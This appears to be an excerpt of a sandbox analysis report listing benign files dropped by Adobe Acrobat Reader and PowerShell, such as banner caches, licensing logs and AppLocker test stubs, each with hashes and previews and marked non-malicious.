SSDEEP:	6:YEQXJ2HXPSnrd+RkSUib5Glvp0YGFEeoAvJfzdPeUkwRe9:YvXKXqRpSUitoTGb8Ukee9
MD5:	9334549BDB6799D9E35DC5E39F1A9E5B
SHA1:	0B56CD6A5D465673A897C8F5904CBADC8E258E4C
SHA-256:	605FE3EB7E46297AAEE374F3494A7C4B82F5AA0FC6F60E3F9BBE439F689DED77
SHA-512:	C4FEEC807A13BE9572DD48F08CA4903CEAAF9E838CD6297BF6F3BCA4A6CB2D871CAC2EC399334B9924B7A4EC03C84EBB4A2690DD18E004C57D83C90B3CFB70A7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"874b3a24-3d45-42c0-9121-23ccdb72c500","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736755826128,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.312078782620338
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPSnrd+RkSUib5Glvp0YGFEeoAvJfYdPeUkwRe9:YvXKXqRpSUitoTGg8Ukee9
MD5:	EFD85CF2F3C4F17C25FC736E46DEE77B
SHA1:	0A16E18C7DDE59983F6BC3C4E52FA9693907EE0F
SHA-256:	B96B728B2FE1DC31771B7F5D09775E87D3487A9821B1E4E542EFA87031680C38
SHA-512:	EDCCA776EB45D46115FD6718FAECCB4E51F0128FF3B9F0B29F3F1A1021430BE265FF34E32EB90C0472ABC02F7C339C779237E2D28DF4E52936D1BA5D3A925C08
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"874b3a24-3d45-42c0-9121-23ccdb72c500","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736755826128,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2980241085337685
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPSnrd+RkSUib5Glvp0YGFEeoAvJf+dPeUkwRe9:YvXKXqRpSUitoTG28Ukee9
MD5:	47D6E6A39DCB7DEDEED3002989DCB569
SHA1:	D8E29C5AED780A07FFCBEF521DC1A33BE1D7BF86
SHA-256:	16BD9220023A3B97C455DD1D98CA75100EE7AC8CCE6158907F17D287318FA152
SHA-512:	C466F06731B869FFBCC74CAED5D33D2A5752CC82C2869F4EC6D7DA875789A7C56F4B39A5633745A01D22E2DA6B8E06A96061528E1F04ED384C2E592D7C51BE7B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"874b3a24-3d45-42c0-9121-23ccdb72c500","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736755826128,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.295542864606089
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPSnrd+RkSUib5Glvp0YGFEeoAvJfbPtdPeUkwRe9:YvXKXqRpSUitoTGDV8Ukee9
MD5:	DFDEA78D35544277AADFF9E13456B09B
SHA1:	526383D723EDB4E4B7480823116BBACBE9F4DE1C
SHA-256:	5B2C4336F4B1A98B4D20F984F580A784D64E5AEA2E63375FDC30521AB4FB72E2
SHA-512:	DA8F69E9BF48C8E574D130EEA8B584D5B96E245FD5EFEB8148C72D352E815C3451A3407B29A4EB7B8A4A5C14B58E700B5EEEDF3E20905197507729C886A2BE6D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"874b3a24-3d45-42c0-9121-23ccdb72c500","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736755826128,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.297068891667652
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPSnrd+RkSUib5Glvp0YGFEeoAvJf21rPeUkwRe9:YvXKXqRpSUitoTG+16Ukee9
MD5:	DD48A487D986BC82C38208D3F4F38217
SHA1:	661132E174D7842CDCAB862AB0939B541A319FE3
SHA-256:	6E5123F6B9FFDF830C9931CFEE0E1A621775D7007EED463CDD9DDC5E08D18D7A
SHA-512:	2DAB49E6346C95D2F27EFD12DA830468CDD6F85143E513D80C62EE30E27924CE42257825625EC3C4DD22BC7B4738D5EED9697F81E31473FF5AD16008DA87180E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"874b3a24-3d45-42c0-9121-23ccdb72c500","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736755826128,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.66497582249049
Encrypted:	false
SSDEEP:	24:Yv6Xopi68amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS2f:YvLM6aBgkDMUJUAh8cvMC
MD5:	EEA3A721F2F547819A555C133F6A3653
SHA1:	ED7DF0819026800E94894C1EA7E68E16B24BBD26
SHA-256:	1C6D7BA596AA703AABE6835EDAA7489D245C39C4A067C9A617D66F6F57B82AEF
SHA-512:	CE943C5F5FF53950C7E29CD7D9E30255815B4005B33AF5282776EFAFEA76C90A165B3AED98194558399356818AF63857CD89EB6324A51BAF99E76B41A15C893D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"874b3a24-3d45-42c0-9121-23ccdb72c500","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736755826128,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.273718926090512
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPSnrd+RkSUib5Glvp0YGFEeoAvJfshHHrPeUkwRe9:YvXKXqRpSUitoTGUUUkee9
MD5:	3513C9DAD4CDBB452E5A2FF583CCFD20
SHA1:	A65C71040FB05C4BE636978269946833183BF3CB
SHA-256:	AE7290835CD6C62DE8FFE54E27E7487C61E14333B787D3788B1D5144CF995AE6
SHA-512:	41F261D591DF810F3E49C04545F48FE4C0B44BE15D80D6FE574879336C39273020DF725F4D9E77B084B8C18BDA2480478AA5F2A6FE99832DBEA4A79B097C215F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"874b3a24-3d45-42c0-9121-23ccdb72c500","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736755826128,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.26962573807397
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPSnrd+RkSUib5Glvp0YGFEeoAvJTqgFCrPeUkwRe9:YvXKXqRpSUitoTGTq16Ukee9
MD5:	5C705B499114AFF694C6FD274E0011E0
SHA1:	3367389AE695DDB4077E2F6C73C4DBAA0F78364A
SHA-256:	BE08E9F8C7BF5A955D287172DE3D6678D9A3673295562A99E128DCCC9A19619B
SHA-512:	A95F1850D65F9874BEF63C14D900E811C41BB11442661176E0754FBEBB633503BD0021E9B10727FE5450F801A67691AD202CC6BCD7482BB78449DFE99EC06E62
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"874b3a24-3d45-42c0-9121-23ccdb72c500","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736755826128,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1421156155197085
Encrypted:	false
SSDEEP:	24:YjWVa6OHayiivXZeqMiRYnrjfcj0SBJyJCF27P2LSDCe4xWMmY9S5dU4X9YbunOG:YuO3FMD2nyJ6YP5EWMhYU+9d
MD5:	B0EE43081F40F831767CF30B30BCC243
SHA1:	AB6D4B3411AE77228A833A43BAF5A189899FDC82
SHA-256:	ED0519D4BA1FC2C705AC08419DE078F575BA4698F6DDA363FC699328E09F27F3
SHA-512:	A5E0F17E871533FB1D5583CAF229A3DB235B4E4811E5AC77B6B00C985A684F645191F7A5DD61925BFFCCABA85603139AE25030AC4206FD5786A7880E73B80215
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"6e965d7048124bddb6469070c739c92c","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736581960000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"584f481f8b3a6ab24c9215b42bbe0e9d","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736581960000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"2cba1ee885bdb3ac7a07fe1a2175cc39","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736581960000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"96685f914c42c737551012996ab79506","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736581960000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"fed38e44cf2ed9309406322bbe196a9c","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736581960000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"60d3ccd441428579aced5c5ffaaa11b8","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 28, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 28
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4577997650899066
Encrypted:	false
SSDEEP:	48:TFl2GL7msrhoGgpP5ZgrI2blLviuFuI7P6z:/VmsrhoGgt5ZgbVp7Cz
MD5:	869DFB5AEBD8FB781D91AB77F4CD8E5C
SHA1:	C4C2DD17F8D8E6AF7E13570ED4C1DD9269FE6888
SHA-256:	C84F648C73D55DFC446CBAE8C4255F0CF1EC53FECE1F07D3281636AC620F2B8D
SHA-512:	10E934F8B200D9BD4124CB44B607747927D6AE0BF899D5A34B9389891F68CBCDC7705D507E8A5DD8E5DB690060209EB8DC033DFB4CD9FEA2789FFD1105857C38
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9606499033517795
Encrypted:	false
SSDEEP:	48:7M2hoGgpP5ZgrI2byLviuFuI7PehpqVl2GL7msW:7XhoGgt5ZgbMp72hpaVmsW
MD5:	2E12D8CBA2B2428D9DE3D6F30899E2D1
SHA1:	78B3BCDCE2CF2030A42EA8C25F2B6BE1C6B92E45
SHA-256:	E3D2098A1C01E229270EA28B0F89838881FA7D5AE49DAF1D4BBFEC530BA8F02F
SHA-512:	D41D3A9102C580C937E1EAFBC52C49C00875A719B73EEFEE1EF6193880E9328C20F4CFABEBCD5B77EDC7321931B31B73F86EA87C218963510A029514455B9EE0
Malicious:	false
Preview:	.... .c.....c.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgWHE38z95W22TlxQJye3vZtUYyu:6a6TZ44ADEWHE8z9k22vuoK
MD5:	ACA22C5CFE4DED2CE067FD481072445B
SHA1:	8F20FF53B2B42BC7428CF4EE066F84CF1F787AA7
SHA-256:	DC8652DDEDC24454E21F37811C906569C5B5D76249FDBDA94AFE0016F4555A70
SHA-512:	DA689CE2B600CE8A36A4885FF466F527593658B58D589562B28D0870958DA0E9A0AEAAB3B9AE6EEE03AA10216C2A3C85C82DBD52B577C8BE7702A1161BF407F1
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI2ace8.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5097251598291805
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClAlqcKw:Qw946cPbiOxDlbYnuRKdNnKw
MD5:	2AD6D7418279A8CDA88BEBFEF77FA8CE
SHA1:	6C77C1B6103C90C724DD0A02182CBEBED40AD7F2
SHA-256:	F003655448100D061CADB1D5AC4622044024D4085AC2592EDA09A21D3BB82F67
SHA-512:	EF2B5DA8FC7D44C979E5BD1872995B86EEF326047C791C4971C945A070EA11C04E9283D6A66369EBC6621840DA33051692F6C1CFB0386E8D6CF0B19C1493D5C4
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.2.:.5.2.:.3.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ag0nuads.ww3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c5rswebo.cgs.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9164qn0j_wv0kog_60g.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	7.9922966842339935
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtr:Cjc7BcePUsSStB
MD5:	B1EC3D4E46BF5BC7D38C9F26E07103A6
SHA1:	4714ED2B2FFB034428BA1CF97D01FB88FAB5A49B
SHA-256:	9136B7D4DE6391B35CDCCFD494DB283113159BD2F0547B612CD1337BE93778FB
SHA-512:	82FFCEE7F53D2B86F3711AD17BF65C4CE1C37EF00DD031A3EB82C65D220C5D906276A60E84B8C6184B12511BA762F7CF48AB59677583EF67B926FF8BC9B26D7C
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 02-52-34-138.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.346011504419146
Encrypted:	false
SSDEEP:	384:BqIxwGbWz/d64bJEaE3eErgEVCjzI8K7Wq2YUYNzgzxzOupDPdz4I9j8jI/BvfDJ:5bEd3NShrMdom
MD5:	789D1F2F853618A17B73FBEF9532AB2F
SHA1:	5322D042DC96B7E30E3914F7C21729559D534D3E
SHA-256:	482DB450F9F106D18D3E1EAE7A160CC9E75201F9336327CDBCA465997BF56FB2
SHA-512:	20E8E45817B30FE1B03ABE69E71C534EF8DA2015CE237E3F93FDF932D6CDE1FD126465530B61E56A32E9D65A3A6858A1B3B00806571A232876EACAD293871629
Malicious:	false
Preview:	SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:322+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.347668240008938
Encrypted:	false
SSDEEP:	384:pgzNKF74VsR0iZrLFrOBYkOBU4T+ZZZZvEPXLh4ozKK4ITFFuEdOgcBcxEyA26LS:gkt
MD5:	0FD29D369EC53566E3C6BCC9E1B14176
SHA1:	6650F855467624264DEE626A91E9E56B2CAEA455
SHA-256:	FEE4AFF21EB5FC2991F48EB4B2D7590CE38C31666572487605DFD9A0E9BB78E7
SHA-512:	417C2580ABB53E26646E68C3713DFCFCE88A916966738AC40E565321AC20C4F99FF3C601D88BE0B20C65FA874D1DE2272D0189F8C7BFAAF89526EAA3317C0A34
Malicious:	false
Preview:	SessionID=147bb441-d493-4599-bef9-7a4f02e58a71.1736581954149 Timestamp=2025-01-11T02:52:34:149-0500 ThreadID=7124 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=147bb441-d493-4599-bef9-7a4f02e58a71.1736581954149 Timestamp=2025-01-11T02:52:34:150-0500 ThreadID=7124 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=147bb441-d493-4599-bef9-7a4f02e58a71.1736581954149 Timestamp=2025-01-11T02:52:34:150-0500 ThreadID=7124 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=147bb441-d493-4599-bef9-7a4f02e58a71.1736581954149 Timestamp=2025-01-11T02:52:34:150-0500 ThreadID=7124 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=147bb441-d493-4599-bef9-7a4f02e58a71.1736581954149 Timestamp=2025-01-11T02:52:34:150-0500 ThreadID=7124 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.392778504061104
Encrypted:	false
SSDEEP:	192:Ncb/mILxcb2cbeLIFrcbCkcbAIp/cbVcbIIJDcbZcbCIY+cbjcb+INdcbF:2PLH8FVfpBJnYMN2
MD5:	0BA5CD9BBE8E5E513C3CB3EF26CEBF6B
SHA1:	BC466E64C7F2B5F196DB2F133403F92C5CB79830
SHA-256:	AC01CBBD7821D429F999A85A9585971D0C34F52C28A3D65940C092C969D3C67D
SHA-512:	96C14BAB198DCAF5CE0440A50AFB58FAEFAB71D68DD7DB990629D6C8C264F41D41CBFF23049CDD6F8C5B5C3DD10975A2585DD5B6AD940B5696B8050187B0364A
Malicious:	false
Preview:	05-10-2023 12:57:02:.---2---..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 12:57:02:.AcroNGL Integ 